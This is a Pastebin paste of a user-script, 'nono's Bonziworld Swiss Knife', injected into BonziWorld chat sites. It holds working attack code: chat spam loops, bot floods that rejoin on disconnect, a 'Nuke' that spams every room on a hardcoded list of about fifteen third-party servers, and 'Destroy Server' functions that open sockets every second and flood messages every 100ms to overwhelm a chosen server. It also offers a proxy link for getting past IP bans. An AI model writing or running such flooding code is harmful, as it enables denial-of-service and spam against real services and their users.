Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /// Detect mobile device
- const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
- function sendMsg(msg) {
- let imageCommand = null;
- if (msg.startsWith('/img ')) {
- imageCommand = "img";
- msg = msg.substring(5);
- } else if (msg.startsWith('/image ')) {
- imageCommand = "image";
- msg = msg.substring(7);
- } else if (msg.startsWith('/color ')) {
- imageCommand = "color";
- msg = msg.substring(7);
- } else if (msg.startsWith('/crosscolor ')) {
- imageCommand = "crosscolor";
- msg = msg.substring(12);
- }
- if (imageCommand) {
- setTimeout(() => {
- socket.emit("command", { list: [imageCommand, msg] });
- });
- } else if (msg.startsWith('/name ')) {
- setTimeout(() => {
- socket.emit("command", { list: ["name", msg.substring(6)] });
- });
- } else {
- socket.emit("talk", { text: msg });
- }
- }
- var menu = document.createElement("div");
- menu.setAttribute("draggable", isMobile ? "false" : "true");
- document.getElementById("content").appendChild(menu);
- // Set default size and position for mobile/desktop
- let menuWidth = isMobile ? "calc(100% - 20px)" : "350px";
- let menuHeight = isMobile ? "calc(100% - 20px)" : "800px";
- let menuPos = isMobile ? "fixed" : "absolute";
- let menuLeft = isMobile ? "10px" : "80%";
- let menuTop = isMobile ? "10px" : "20%";
- let menuOverflow = isMobile ? "auto" : "auto";
- let menuPadding = isMobile ? "15px" : "10px";
- let menuCursor = isMobile ? "default" : "move";
- setTimeout(() => {
- alert("Tool has loaded!");
- menu.style.backgroundColor = "#f0f0f0";
- menu.style.position = menuPos;
- menu.style.left = menuLeft;
- menu.style.top = menuTop;
- menu.style.color = "black";
- menu.style.padding = menuPadding;
- menu.style.cursor = menuCursor;
- menu.style.border = "1px solid #ccc";
- menu.style.width = menuWidth;
- menu.style.height = menuHeight;
- menu.style.overflow = menuOverflow;
- menu.style.boxShadow = "0 4px 8px rgba(0,0,0,0.1)";
- menu.style.borderRadius = "5px";
- menu.style.fontFamily = "Arial, sans-serif";
- menu.style.zIndex = "1000";
- menu.style.display = "block";
- menu.style.boxSizing = "border-box";
- menu.style.maxWidth = "600px";
- menu.style.margin = isMobile ? "0 auto" : "0";
- menu.style.transform = isMobile ? "none" : "none";
- // Custom server URL variable
- let customServerUrl = window.location.origin;
- let useBonziworldCompat = false;
- let useBonziGayCompat = false; // NEW: bonzi.gay compatibility flag
- let botsJoinInterval, botsMessageInterval;
- // Bigger buttons and inputs for mobile
- const buttonStyle = isMobile ? 'padding:12px 20px;font-size:16px;margin:6px 0;' : 'padding:5px 10px;margin:2px;';
- const inputStyle = isMobile ? 'width:95%;padding:8px;margin:8px 0;font-size:16px;' : 'width:95%;margin:2px;';
- const textareaStyle = isMobile ? 'width:95%;padding:8px;margin:8px 0;font-size:16px;height:80px;' : 'width:95%;margin:2px;height:60px;';
- const sectionStyle = isMobile ? 'margin-bottom:20px;padding:12px;border:1px solid #ddd;border-radius:5px;' : 'margin-bottom:15px;padding:10px;border:1px solid #ddd;border-radius:5px;';
- const flexStyle = isMobile ? 'display:flex;flex-wrap:wrap;gap:6px;justify-content:center;align-items:center;' : 'display:flex;justify-content:space-around;gap:6px;';
- // HEADER WITH MINIMIZE BUTTON
- menu.innerHTML = `
- <div id="menuHeader" style="display:flex;justify-content:space-between;align-items:center;position:sticky;top:0;z-index:10;background:#f0f0f0;">
- <h2 style="text-align:center;margin-bottom:15px;flex:1;">nono's Bonziworld Swiss Knife</h2>
- <button id="minimizeMenu" style="font-size:22px;line-height:1;width:36px;height:36px;background:none;border:none;cursor:pointer;">−</button>
- </div>
- <div style="margin-bottom:15px;text-align:center;">
- <img src="https://files.catbox.moe/f3rzuw.png" alt="Bonziworld" width="100" style="display:block;margin:0 auto;">
- </div>
- <div style="${sectionStyle}">
- <ol style="margin-bottom:10px;">
- <li>Enter messages, image commands, or name changes in the text area below. Separate each item with a comma.</li>
- <li>Text messages: Just type the message.</li>
- <li>Image command: <code>/img [image URL]</code> or <code>/image [image URL]</code></li>
- <li>Name change: <code>/name [new name]</code></li>
- <li>Color command: <code>/color [color URL]</code> or <code>/crosscolor [color URL]</code></li>
- <li>Set spam rate in seconds (can be decimal).</li>
- <li>Click "Run" to start spamming.</li>
- <li>Click "Run Donut" to display an animated donut in chat.</li>
- <li>Use the web browser to load pages and send their content to chat.</li>
- </ol>
- <textarea id='in' placeholder='Enter commands here, separated by commas...' rows='4' style='${textareaStyle}'></textarea><br>
- <div style="${flexStyle}">
- <button id='run' style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Run</button>
- <button id='stop' style='background-color:#f44336;color:white;border:none;${buttonStyle}'>Stop</button>
- <button id='donut' style='background-color:#2196F3;color:white;border:none;${buttonStyle}'>Donut</button>
- <button id='nuke' style='background-color:#000;color:white;border:none;${buttonStyle}'>
- <img src='https://files.catbox.moe/00gd9s.webp' alt='Nuke' style='width:20px;height:20px;vertical-align:middle;margin-right:5px;'>
- Nuke
- </button>
- <button id='destroyServer' style='background-color:#ff3300;color:white;border:none;${buttonStyle}'>Destroy Server</button>
- </div>
- <div style="margin-top:12px;text-align:center;">
- <button id="useFreeProxy" style="background-color:#008CBA;color:white;border:none;padding:10px;">Got IP Banned? Click Here! (CroxyProxy)</button>
- </div>
- </div>
- <div style="${sectionStyle}">
- <h4 style="margin-bottom:8px;">Spam Settings</h4>
- Rate of spam (in seconds): <input type='number' id='rate' min='0.01' max='10' step='0.01' value='1' style='${inputStyle}'><br>
- <label><input type="checkbox" id="bonziGayCompat"> Enable bonzi.gay compatibility (sends 3 messages, then a space, repeat)</label>
- </div>
- <div style="${sectionStyle}">
- <h4 style="margin-bottom:8px;">Bot Settings</h4>
- <label for="customServerUrl">Target Server URL:</label>
- <input type="text" id="customServerUrl" placeholder="https://example.com/" value="${window.location.origin}" style="${inputStyle}">
- <button id="setServerUrl" style="background-color:#4CAF50;color:white;border:none;${buttonStyle}">Set URL</button>
- <button id="bonziworldCompat" style="background-color:#673AB7;color:white;border:none;padding:10px;margin-top:10px;width:100%;">Make it compatible with Bonziworld.org / bonzi.lol</button>
- <label for="botName">Bot Name:</label>
- <input type="text" id="botName" value="bot" style="${inputStyle}">
- <label for="botMessage">Bot Message:</label>
- <textarea id="botMessage" rows="2" style="${textareaStyle}">bot message</textarea>
- <label for="joinRate">Set Bot Join Interval (in seconds):</label>
- <input type='number' id='joinRate' min='0.001' step='0.001' value='3' style="${inputStyle}">
- <label for="messageRate">Set Bot Message Interval (in seconds):</label>
- <input type='number' id='messageRate' min='0.001' step='0.001' value='3' style="${inputStyle}">
- <div style="${flexStyle}">
- <button id="startBots" style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Start Bots</button>
- <button id="stopBots" style='background-color:#f44336;color:white;border:none;${buttonStyle}'>Stop Bots</button>
- </div>
- <div style="margin-top:15px;padding-top:15px;border-top:1px solid #ccc;">
- <h4 style="margin-bottom:8px;">Targeted Server Destruction</h4>
- <label for="targetServerUrl">Server to Destroy:</label>
- <input type="text" id="targetServerUrl" placeholder="https://target-server.com/" value="" style="${inputStyle}">
- <div style="${flexStyle}">
- <button id="destroyTargetedServer" style='background-color:#ff0000;color:white;border:none;${buttonStyle};font-weight:bold;'>
- <img src='https://files.catbox.moe/00gd9s.webp' alt='Nuke' style='width:16px;height:16px;vertical-align:middle;margin-right:5px;'>
- Destroy Targeted Server
- </button>
- </div>
- </div>
- </div>
- <div style="${sectionStyle}">
- <h4 style="margin-bottom:8px;">Web Browser</h4>
- <button id='webBrowser' style='background-color:#008CBA;color:white;border:none;width:100%;text-align:center;${buttonStyle}'>Toggle Web Browser</button>
- <div id='browserContainer' style='display:none;'>
- <label for="urlInput">Enter URL:</label>
- <input type='text' id='urlInput' placeholder='Enter URL' style="${inputStyle}">
- <div style="${flexStyle}">
- <button id='loadUrl' style='background-color:#008CBA;color:white;border:none;${buttonStyle}'>Go</button>
- <button id='sendToChat' style='background-color:#008CBA;color:white;border:none;${buttonStyle}'>Send to Chat</button>
- </div>
- <iframe id='browserFrame' style='width:100%;height:300px;border:1px solid #ccc;border-radius:5px;'></iframe>
- </div>
- </div>
- <div style="${sectionStyle}">
- <h4 style="margin-bottom:8px;">Room ID Settings</h4>
- <label><input type="checkbox" id="useCustomRoomId"> Use Custom Room ID</label><br>
- <label for="customRoomId">Custom Room ID:</label>
- <input type="text" id="customRoomId" placeholder="Enter custom Room ID" style="${inputStyle}" disabled>
- </div>
- <div style="${sectionStyle}">
- <h4 style="margin-bottom:8px;">JavaScript Runner</h4>
- <textarea id="jsCode" rows="4" placeholder="Enter JavaScript code here" style="${textareaStyle}"></textarea><br>
- <button id="executeJs" style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Execute</button>
- <div id="jsOutput" style="margin-top:10px;padding:10px;background:#f8f8f8;border:1px solid #ddd;border-radius:4px;display:none;font-family:monospace;white-space:pre-wrap;"></div>
- </div>
- ${isMobile ? '' : '<div id="resizeHandle" style="position:absolute;bottom:0;right:0;width:10px;height:10px;background:gray;cursor:se-resize;"></div>'}
- `;
- // MINIMIZE BUTTON LOGIC
- let minimized = false;
- const minimizeBtn = document.getElementById("minimizeMenu");
- minimizeBtn.onclick = function() {
- minimized = !minimized;
- Array.from(menu.children).forEach((child, i) => {
- if (i > 0) child.style.display = minimized ? "none" : "";
- });
- menu.style.height = minimized ? "auto" : menuHeight;
- menu.style.overflow = minimized ? "visible" : menuOverflow;
- minimizeBtn.innerHTML = minimized ? "+" : "−";
- };
- // Add CroxyProxy button handler
- document.getElementById("useFreeProxy").onclick = function() {
- const targetUrl = window.location.href;
- window.open('https://www.croxyproxy.com/?url=' + encodeURIComponent(targetUrl), '_blank');
- };
- // Custom server URL logic
- document.getElementById("setServerUrl").onclick = function() {
- customServerUrl = document.getElementById("customServerUrl").value || window.location.origin;
- alert("Custom server URL set: " + customServerUrl);
- };
- let offsetX = 0, offsetY = 0, isDragging = false;
- let isResizing = false;
- let startX, startY, startWidth, startHeight;
- let spamInterval;
- let destroyServerInterval;
- let destroyTargetedServerInterval; // NEW: interval for targeted destruction
- function getRoomId() {
- let roomId;
- const useCustomRoomId = document.getElementById("useCustomRoomId").checked;
- const customRoomId = document.getElementById("customRoomId").value;
- const roomIdElement = document.querySelector('.room_id');
- if (useCustomRoomId && customRoomId) {
- roomId = customRoomId;
- } else if (roomIdElement) {
- roomId = roomIdElement.textContent;
- } else {
- roomId = null;
- }
- return roomId;
- }
- // --- BOT LOGIC WITH BONZIWORLD.ORG COMPATIBILITY ---
- function startBots() {
- const roomId = getRoomId() || "default";
- const botName = document.getElementById("botName").value;
- let botMessage = document.getElementById("botMessage").value;
- const joinRate = parseFloat(document.getElementById("joinRate").value) * 1000;
- const messageRate = parseFloat(document.getElementById("messageRate").value) * 1000;
- stopBots(); // Prevent duplicates
- if (useBonziworldCompat) {
- botsJoinInterval = setInterval(() => {
- // Use the current page's origin as server URL!
- const socket = io(window.location.origin);
- socket.emit("client", "MAIN");
- socket.emit("login", {
- passcode: "",
- name: botName,
- room: roomId,
- });
- setTimeout(() => {
- // Use the required format for speaking
- socket.emit("talk", { text: botMessage });
- }, 500);
- setTimeout(() => {
- socket.connect();
- }, 2800);
- }, joinRate);
- } else {
- botsJoinInterval = setInterval(() => {
- const bot = io(customServerUrl);
- bot.emit("client", "MAIN");
- bot.emit("login", { passcode: "", name: botName, room: roomId });
- botsMessageInterval = setInterval(() => {
- let commandType = null;
- let messageToSend = botMessage;
- if (botMessage.startsWith('/img ')) {
- commandType = "img";
- messageToSend = botMessage.substring(5);
- } else if (botMessage.startsWith('/image ')) {
- commandType = "image";
- messageToSend = botMessage.substring(7);
- } else if (botMessage.startsWith('/crosscolor ')) {
- commandType = "crosscolor";
- messageToSend = botMessage.substring(12);
- } else if (botMessage.startsWith('/color ')) {
- commandType = "color";
- messageToSend = botMessage.substring(7);
- }
- if (commandType) {
- bot.emit("command", { list: [commandType, messageToSend] });
- } else {
- bot.emit("talk", { text: messageToSend });
- }
- }, messageRate);
- bot.on('disconnect', () => {
- startBots();
- });
- }, joinRate);
- }
- }
- function stopBots() {
- clearInterval(botsJoinInterval);
- clearInterval(botsMessageInterval);
- }
- document.getElementById("startBots").onclick = startBots;
- document.getElementById("stopBots").onclick = stopBots;
- // --- COMPATIBILITY BUTTON LOGIC ---
- document.getElementById("bonziworldCompat").onclick = function () {
- useBonziworldCompat = !useBonziworldCompat;
- if (useBonziworldCompat) {
- document.getElementById("bonziworldCompat").innerText = "Bonziworld.org Compatibility: ON";
- document.getElementById("bonziworldCompat").style.backgroundColor = "#388E3C";
- document.getElementById("customServerUrl").disabled = true;
- document.getElementById("setServerUrl").disabled = true;
- } else {
- document.getElementById("bonziworldCompat").innerText = "Make it compatible with Bonziworld.org / bonzi.lol";
- document.getElementById("bonziworldCompat").style.backgroundColor = "#673AB7";
- document.getElementById("customServerUrl").disabled = false;
- document.getElementById("setServerUrl").disabled = false;
- }
- alert("Bonziworld.org compatibility is now " + (useBonziworldCompat ? "ON" : "OFF"));
- };
- // NEW: bonzi.gay compatibility checkbox handler
- document.getElementById("bonziGayCompat").onchange = function() {
- useBonziGayCompat = this.checked;
- };
- // FIXED: JavaScript runner execute button
- document.getElementById("executeJs").onclick = () => {
- const jsCode = document.getElementById("jsCode").value;
- const outputDiv = document.getElementById("jsOutput");
- if (!jsCode.trim()) {
- outputDiv.style.display = "block";
- outputDiv.innerHTML = "<span style='color:orange'>Warning: No code to execute</span>";
- return;
- }
- try {
- // Show output area
- outputDiv.style.display = "block";
- outputDiv.innerHTML = "<span style='color:blue'>Executing JavaScript...</span>";
- // Capture console output
- const originalLog = console.log;
- const originalError = console.error;
- const originalWarn = console.warn;
- let capturedOutput = [];
- console.log = function(...args) {
- capturedOutput.push("LOG: " + args.map(arg =>
- typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
- ).join(' '));
- originalLog.apply(console, args);
- };
- console.error = function(...args) {
- capturedOutput.push("ERROR: " + args.map(arg =>
- typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
- ).join(' '));
- originalError.apply(console, args);
- };
- console.warn = function(...args) {
- capturedOutput.push("WARN: " + args.map(arg =>
- typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
- ).join(' '));
- originalWarn.apply(console, args);
- };
- // Execute the code directly
- const result = eval(jsCode);
- // Restore original console methods
- console.log = originalLog;
- console.error = originalError;
- console.warn = originalWarn;
- // Display results
- let outputHTML = "<span style='color:green'>✓ JavaScript executed successfully!</span><br><br>";
- if (result !== undefined) {
- outputHTML += "<strong>Return value:</strong><br>";
- outputHTML += typeof result === 'object' ?
- JSON.stringify(result, null, 2) :
- String(result);
- outputHTML += "<br><br>";
- }
- if (capturedOutput.length > 0) {
- outputHTML += "<strong>Console output:</strong><br>";
- outputHTML += capturedOutput.join('<br>');
- } else {
- outputHTML += "<em>No console output</em>";
- }
- outputDiv.innerHTML = outputHTML;
- } catch (error) {
- // Restore console methods in case of error
- console.log = originalLog;
- console.error = originalError;
- console.warn = originalWarn;
- outputDiv.innerHTML = `<span style='color:red'>✗ JavaScript Error:</span><br>${error.message}<br><br><strong>Stack trace:</strong><br>${error.stack || 'No stack trace available'}`;
- }
- };
- const useCustomRoomIdCheckbox = document.getElementById("useCustomRoomId");
- const customRoomIdInput = document.getElementById("customRoomId");
- useCustomRoomIdCheckbox.addEventListener("change", function() {
- customRoomIdInput.disabled = !this.checked;
- });
- if (!isMobile) {
- menu.addEventListener("mousedown", (e) => {
- if (e.target.id === "resizeHandle") {
- isResizing = true;
- startX = e.clientX;
- startY = e.clientY;
- startWidth = parseInt(document.defaultView.getComputedStyle(menu).width, 10);
- startHeight = parseInt(document.defaultView.getComputedStyle(menu).height, 10);
- } else {
- isDragging = true;
- offsetX = e.clientX - menu.offsetLeft;
- offsetY = e.clientY - menu.offsetTop;
- }
- document.addEventListener("mousemove", moveElement);
- document.addEventListener("mouseup", stopMoving);
- });
- }
- function moveElement(e) {
- if (isDragging) {
- menu.style.left = (e.clientX - offsetX) + "px";
- menu.style.top = (e.clientY - offsetY) + "px";
- } else if (isResizing) {
- const width = startWidth + (e.clientX - startX);
- const height = startHeight + (e.clientY - startY);
- menu.style.width = width + "px";
- menu.style.height = height + "px";
- }
- }
- function stopMoving() {
- isDragging = false;
- isResizing = false;
- document.removeEventListener("mousemove", moveElement);
- document.removeEventListener("mouseup", stopMoving);
- }
- // MODIFIED RUN FUNCTION WITH BONZI.GAY COMPATIBILITY
- document.getElementById("run").onclick = () => {
- let inputText = document.getElementById("in").value;
- let commands = inputText.split(',').map(cmd => cmd.trim());
- let rate = parseFloat(document.getElementById("rate").value);
- let interval = Math.max(rate * 1000, 10);
- // NEW: Variables for bonzi.gay compatibility
- let messageCounter = 0;
- let spaceInterval = null;
- function spamMessage() {
- if (commands.length === 0) return;
- // NEW: bonzi.gay compatibility logic
- if (useBonziGayCompat) {
- messageCounter++;
- // Send message
- let command = commands[Math.floor(Math.random() * commands.length)];
- sendMsg(command);
- // After 3 messages, send a space
- if (messageCounter >= 3) {
- sendMsg(" ");
- messageCounter = 0;
- }
- } else {
- // Original behavior
- let command = commands[Math.floor(Math.random() * commands.length)];
- sendMsg(command);
- }
- }
- clearInterval(spamInterval);
- spamInterval = setInterval(spamMessage, interval);
- };
- document.getElementById("stop").onclick = () => {
- clearInterval(spamInterval);
- };
- document.getElementById("donut").onclick = () => {
- let A = 0, B = 0;
- const R1 = 1, R2 = 2, K2 = 5;
- const SCREEN_WIDTH = 80, SCREEN_HEIGHT = 22;
- const K1 = SCREEN_WIDTH * K2 * 3 / (8 * (R1 + R2));
- function renderFrame() {
- const output = [];
- const zbuffer = new Array(SCREEN_WIDTH * SCREEN_HEIGHT).fill(0);
- const buffer = new Array(SCREEN_WIDTH * SCREEN_HEIGHT).fill(' ');
- for (let j = 0; j < Math.PI * 2; j += Math.PI / SCREEN_WIDTH) {
- for (let i = 0; i < Math.PI * 2; i += Math.PI / SCREEN_HEIGHT) {
- const c = Math.sin(i), d = Math.cos(j), e = Math.sin(A), f = Math.sin(j), g = Math.cos(A), h = d + 2;
- const D = 1 / (c * h * e + f * g + 5);
- const l = Math.cos(i), m = Math.cos(B), n = Math.sin(B);
- const t = c * h * g - f * e;
- const x = Math.floor(40 + 30 * D * (l * h * m - t * n));
- const y = Math.floor(12 + 15 * D * (l * h * n + t * m));
- const o = Math.floor(x + SCREEN_WIDTH * y);
- const N = Math.floor(8 * ((f * e - c * d * g) * m - c * d * e - f * g - l * d * n));
- if (y < SCREEN_HEIGHT && y >= 0 && x >= 0 && x < SCREEN_WIDTH && D > zbuffer[o]) {
- zbuffer[o] = D;
- buffer[o] = ".,-~:;=!*#$@"[N > 0 ? N : 0];
- }
- }
- }
- for (let k = 0; k < SCREEN_WIDTH * SCREEN_HEIGHT; k++) {
- output.push(k % SCREEN_WIDTH ? buffer[k] : '\n');
- }
- sendMsg(output.join(''));
- A += 0.08;
- B += 0.06;
- }
- clearInterval(spamInterval);
- spamInterval = setInterval(renderFrame, 100);
- };
- document.getElementById("webBrowser").onclick = () => {
- const container = document.getElementById("browserContainer");
- container.style.display = container.style.display === "none" ? "block" : "none";
- };
- document.getElementById("loadUrl").onclick = () => {
- const url = document.getElementById("urlInput").value;
- document.getElementById("browserFrame").src = url;
- };
- document.getElementById("sendToChat").onclick = () => {
- const url = document.getElementById("urlInput").value;
- const proxyUrl = `https://api.allorigins.win/raw?url=${encodeURIComponent(url)}`;
- fetch(proxyUrl)
- .then(response => response.text())
- .then(html => {
- const parser = new DOMParser();
- const doc = parser.parseFromString(html, 'text/html');
- const content = doc.body.innerText;
- const chunks = content.match(/.{1,200}/g) || [];
- chunks.forEach((chunk, index) => {
- setTimeout(() => sendMsg(chunk), index * 1000);
- });
- })
- .catch(error => {
- sendMsg("Failed to fetch webpage content.");
- });
- };
- const nukeSound = new Audio('https://files.catbox.moe/tu1jrh.wav');
- let nukeLogWin = null;
- function logNuke(msg) {
- if (!nukeLogWin || nukeLogWin.closed) {
- nukeLogWin = window.open("", "NukeLog", "width=500,height=600");
- nukeLogWin.document.title = "Nuke Log";
- nukeLogWin.document.body.innerHTML = "<h2 style='font-family:sans-serif'>Nuke Log</h2><div id='log' style='font-family:monospace;white-space:pre-wrap'></div>";
- }
- nukeLogWin.document.getElementById("log").innerHTML += msg + "\n";
- nukeLogWin.focus();
- }
- function randomRoomId() {
- return Math.random().toString(16).substr(2, 16);
- }
- document.getElementById("nuke").onclick = function nukeBots() {
- nukeSound.play();
- logNuke("Nuke started: using hardcoded BonziWORLD servers...");
- const hardcodedUrls = [
- "https://bonziworld-community-edition-5vb6.onrender.com/",
- "https://bonziworldeedition.onrender.com/",
- "https://bonziworld-anony-edition-remastered.onrender.com/",
- "https://bonziworld-enhanced-ea4y.onrender.com/",
- "https://bonziworldga.neocities.org/",
- "https://bonziworld-revived-1.onrender.com/",
- "https://bonziworld.me/",
- "https://bonziworld-community-edition-non-cosmic.onrender.com/",
- "https://bonzl.world/",
- "https://bwrer.onrender.com/",
- "https://bonziworld-revived-server-v9b4.onrender.com/",
- "https://bonziworld-classic-plus-plus-edition-mlcr.onrender.com/",
- "https://bonziworld-community-edition-june-2024.onrender.com/",
- "https://nonogamer9world.onrender.com/",
- "https://bonziworld-6-9-archived-remake.neocities.org/"
- ];
- const currentServer = window.location.origin;
- const currentRoomId = getRoomId() || "main";
- const forcedUrls = [currentServer, "https://bonzi.gay/"];
- let foundUrls = [...new Set([...forcedUrls, ...hardcodedUrls])];
- const commonRoomIds = ["default","50"];
- let inputText = document.getElementById("in").value;
- let commands = inputText.split(',').map(cmd => cmd.trim()).filter(Boolean);
- if (commands.length === 0) {
- logNuke("Please enter at least one command to spam.");
- alert("Please enter at least one command to spam.");
- return;
- }
- const spamRate = Math.max(parseFloat(document.getElementById("rate").value) * 1000, 10);
- foundUrls.forEach(site => {
- let baseRoomIds = (site === currentServer)
- ? [currentRoomId, ...commonRoomIds]
- : ["default", ...commonRoomIds];
- let randomRooms = [];
- for (let i = 0; i < 3; i++) randomRooms.push(randomRoomId());
- let roomIds = [...new Set([...baseRoomIds, ...randomRooms])];
- logNuke("Targeting: " + site + " | Rooms: " + roomIds.join(", "));
- roomIds.forEach(roomId => {
- setInterval(() => {
- try {
- const bot = io(site, { transports: ['websocket'], forceNew: true });
- bot.emit("client", "MAIN");
- bot.emit("login", { passcode: "", name: "nuke", room: roomId });
- let cmdIndex = 0;
- const interval = setInterval(() => {
- let command = commands[cmdIndex];
- if (command.startsWith('/img ')) {
- bot.emit("command", { list: ["img", command.substring(5)] });
- } else if (command.startsWith('/image ')) {
- bot.emit("command", { list: ["image", command.substring(7)] });
- } else if (command.startsWith('/color ')) {
- bot.emit("command", { list: ["color", command.substring(7)] });
- } else if (command.startsWith('/crosscolor ')) {
- bot.emit("command", { list: ["crosscolor", command.substring(12)] });
- } else if (command.startsWith('/name ')) {
- bot.emit("command", { list: ["name", command.substring(6)] });
- } else {
- bot.emit("talk", { text: command });
- }
- cmdIndex = (cmdIndex + 1) % commands.length;
- }, spamRate);
- bot.on('disconnect', () => clearInterval(interval));
- } catch (e) {}
- }, 1500);
- });
- });
- logNuke("Nuke deployed! Bots will continuously join and spam your input everywhere.");
- alert("Nuke deployed! Bots will continuously join and spam your input everywhere.");
- };
- // NEW DESTROY TARGETED SERVER FUNCTION
- document.getElementById("destroyTargetedServer").onclick = function() {
- const targetServerUrl = document.getElementById("targetServerUrl").value;
- if (!targetServerUrl) {
- alert("Please enter a target server URL first!");
- return;
- }
- if (!targetServerUrl.startsWith('http://') && !targetServerUrl.startsWith('https://')) {
- alert("Please enter a valid URL starting with http:// or https://");
- return;
- }
- if (confirm(`WARNING: This will attempt to destroy the server at:\n\n${targetServerUrl}\n\nAre you sure you want to proceed?`)) {
- alert(`Starting targeted destruction of: ${targetServerUrl}`);
- // Clear any existing interval
- if (destroyTargetedServerInterval) {
- clearInterval(destroyTargetedServerInterval);
- }
- // Start the destruction
- setTimeout(function(){
- destroyTargetedServerInterval = setInterval(() => {
- try {
- const socket = io(targetServerUrl);
- const sockett = io(targetServerUrl);
- sockett.emit("client", "MAIN");
- socket.emit("client", "MAIN");
- socket.emit("login", {
- name: "https://www.roblox.com/games/90615328924675/Maze",
- room: Math.floor(Math.random() * 100)
- });
- socket.emit("login", {
- name: "https://www.roblox.com/games/90615328924675/Maze"
- });
- const innerInterval = setInterval(() => {
- socket.emit("command", {
- list: ["color"]
- });
- socket.emit("talk", {
- text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
- });
- sockett.emit("command", {
- list: ["color"]
- });
- sockett.emit("talk", {
- text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
- });
- }, 100);
- // Clean up on disconnect
- socket.on('disconnect', () => clearInterval(innerInterval));
- sockett.on('disconnect', () => clearInterval(innerInterval));
- } catch (e) {
- console.error("Error connecting to target server:", e);
- }
- }, 1000);
- }, 100);
- // Add stop functionality
- setTimeout(() => {
- const stopBtn = document.createElement("button");
- stopBtn.textContent = "Stop Targeted Destruction";
- stopBtn.style.backgroundColor = "#f44336";
- stopBtn.style.color = "white";
- stopBtn.style.border = "none";
- stopBtn.style.padding = "8px";
- stopBtn.style.marginTop = "10px";
- stopBtn.style.width = "100%";
- stopBtn.onclick = function() {
- if (destroyTargetedServerInterval) {
- clearInterval(destroyTargetedServerInterval);
- alert("Targeted destruction stopped.");
- stopBtn.remove();
- }
- };
- // Add the stop button near the destroy button
- const destroyBtnContainer = document.getElementById("destroyTargetedServer").parentNode;
- destroyBtnContainer.appendChild(stopBtn);
- }, 1000);
- }
- };
- // NEW DESTROY SERVER CODE (with 100ms delay)
- document.getElementById("destroyServer").onclick = function() {
- setTimeout(function(){
- setInterval(() => {
- const socket = io("//");
- const sockett = io("//");
- sockett.emit("client", "MAIN");
- socket.emit("client", "MAIN");
- socket.emit("login", {
- name: "https://www.roblox.com/games/90615328924675/Maze",
- room: Math.floor(Math.random() * 100)
- });
- socket.emit("login", {
- name: "https://www.roblox.com/games/90615328924675/Maze"
- });
- setInterval(() => {
- socket.emit("command", {
- list: ["color"]
- });
- socket.emit("talk", {
- text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
- });
- sockett.emit("command", {
- list: ["color"]
- });
- sockett.emit("talk", {
- text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
- });
- }, 100)
- }, 1000)
- }, 1000)
- };
- }, 100);
Add Comment
Please, Sign In to add comment